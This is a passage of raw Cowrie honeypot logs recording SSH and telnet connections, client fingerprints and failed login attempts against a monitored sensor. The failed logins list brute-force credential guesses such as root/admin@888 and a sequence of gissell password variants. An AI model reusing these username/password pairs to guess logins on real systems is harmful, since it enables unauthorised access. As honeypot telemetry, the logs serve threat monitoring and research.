16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:22.097909Z","src_ip":"38.93.206.2","session":"bfd5f30e8522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uhbujhbq","message":"login attempt [root/uhbujhbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:22.255924Z","src_ip":"38.93.206.2","session":"bfd5f30e8522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":50962,"dst_ip":"10.17.0.5","dst_port":22,"session":"523e1bf82d94","protocol":"ssh","message":"New connection: 43.128.112.183:50962 (10.17.0.5:22) [session: 523e1bf82d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:23.276978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:23.281678Z","src_ip":"43.128.112.183","session":"523e1bf82d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:23.308999Z","src_ip":"38.93.206.2","session":"bfd5f30e8522","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:23.518616Z","src_ip":"43.128.112.183","session":"523e1bf82d94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"luca123","message":"login attempt [root/luca123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:24.498280Z","src_ip":"43.128.112.183","session":"523e1bf82d94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:25.739665Z","src_ip":"43.128.112.183","session":"523e1bf82d94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":49544,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7937314a884","protocol":"ssh","message":"New connection: 193.32.162.151:49544 (159.203.135.109:22) [session: c7937314a884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:25.954550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:25.959625Z","src_ip":"193.32.162.151","session":"c7937314a884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:26.060583Z","src_ip":"193.32.162.151","session":"c7937314a884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public","password":"public","message":"login attempt [public/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:26.367092Z","src_ip":"193.32.162.151","session":"c7937314a884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:27.469765Z","src_ip":"193.32.162.151","session":"c7937314a884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.014411449432373,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:32.317390Z","src_ip":"176.65.139.121","session":"15dc5227f462","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":47602,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce2d678861ba","protocol":"telnet","message":"New connection: 176.65.139.121:47602 (10.17.0.5:23) [session: ce2d678861ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:32.437509Z"}
{"eventid":"cowrie.session.closed","duration":7.376465320587158,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:39.813861Z","src_ip":"176.65.139.121","session":"ce2d678861ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":52046,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6d9c853346f","protocol":"telnet","message":"New connection: 176.65.139.121:52046 (10.17.0.5:23) [session: a6d9c853346f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:39.930929Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":47718,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d0a12baa31e","protocol":"ssh","message":"New connection: 37.143.61.84:47718 (10.17.0.5:22) [session: 7d0a12baa31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:44.390394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:44.616969Z","src_ip":"37.143.61.84","session":"7d0a12baa31e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:44.782553Z","src_ip":"37.143.61.84","session":"7d0a12baa31e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@888","message":"login attempt [root/admin@888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:45.497928Z","src_ip":"37.143.61.84","session":"7d0a12baa31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:47.194564Z","src_ip":"37.143.61.84","session":"7d0a12baa31e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":32944,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2436011ad2c","protocol":"ssh","message":"New connection: 192.169.243.246:32944 (10.17.0.5:22) [session: c2436011ad2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:49.214597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:49.219519Z","src_ip":"192.169.243.246","session":"c2436011ad2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:49.295557Z","src_ip":"192.169.243.246","session":"c2436011ad2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"micro1","message":"login attempt [root/micro1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:49.630108Z","src_ip":"192.169.243.246","session":"c2436011ad2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:50.709658Z","src_ip":"192.169.243.246","session":"c2436011ad2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.59.187","src_port":59294,"dst_ip":"10.17.0.5","dst_port":22,"session":"57fdad527db8","protocol":"ssh","message":"New connection: 20.203.59.187:59294 (10.17.0.5:22) [session: 57fdad527db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:52.717192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:52.721875Z","src_ip":"20.203.59.187","session":"57fdad527db8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:52.881725Z","src_ip":"20.203.59.187","session":"57fdad527db8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030102030","message":"login attempt [root/102030102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:53.541270Z","src_ip":"20.203.59.187","session":"57fdad527db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:28:54.702097Z","src_ip":"20.203.59.187","session":"57fdad527db8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.236953020095825,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:05.167781Z","src_ip":"176.65.139.121","session":"a6d9c853346f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":34294,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc34997ce77f","protocol":"telnet","message":"New connection: 176.65.139.121:34294 (10.17.0.5:23) [session: fc34997ce77f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:05.255621Z"}
{"eventid":"cowrie.session.closed","duration":3.485332489013672,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:08.740847Z","src_ip":"176.65.139.121","session":"fc34997ce77f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":40646,"dst_ip":"10.17.0.5","dst_port":23,"session":"636f0d2d0ad5","protocol":"telnet","message":"New connection: 176.65.139.121:40646 (10.17.0.5:23) [session: 636f0d2d0ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:08.821090Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":50715,"dst_ip":"10.17.0.5","dst_port":22,"session":"55aa8ea9f207","protocol":"ssh","message":"New connection: 213.209.159.56:50715 (10.17.0.5:22) [session: 55aa8ea9f207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:09.361323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:09.366257Z","src_ip":"213.209.159.56","session":"55aa8ea9f207","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:09.449776Z","src_ip":"213.209.159.56","session":"55aa8ea9f207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell","message":"login attempt [gissell/gissell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:09.872056Z","src_ip":"213.209.159.56","session":"55aa8ea9f207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell1","message":"login attempt [gissell/gissell1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:10.960950Z","src_ip":"213.209.159.56","session":"55aa8ea9f207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell123","message":"login attempt [gissell/gissell123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:12.048040Z","src_ip":"213.209.159.56","session":"55aa8ea9f207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.1724913120269775,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:12.993474Z","src_ip":"176.65.139.121","session":"636f0d2d0ad5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell1234","message":"login attempt [gissell/gissell1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:13.134135Z","src_ip":"213.209.159.56","session":"55aa8ea9f207","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gissell","password":"gissell12345","message":"login attempt [gissell/gissell12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:14.220590Z","src_ip":"213.209.159.56","session":"55aa8ea9f207","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:15.307508Z","src_ip":"213.209.159.56","session":"55aa8ea9f207","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":54678,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7063a80bdb9","protocol":"ssh","message":"New connection: 190.119.63.98:54678 (10.17.0.5:22) [session: d7063a80bdb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:17.261583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:17.266191Z","src_ip":"190.119.63.98","session":"d7063a80bdb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:17.436799Z","src_ip":"190.119.63.98","session":"d7063a80bdb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"group4","message":"login attempt [root/group4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:18.233090Z","src_ip":"190.119.63.98","session":"d7063a80bdb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:19.382081Z","src_ip":"190.119.63.98","session":"d7063a80bdb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":54988,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7f5336626e6","protocol":"ssh","message":"New connection: 43.228.112.254:54988 (10.17.0.5:22) [session: a7f5336626e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:29:22.655947Z"}
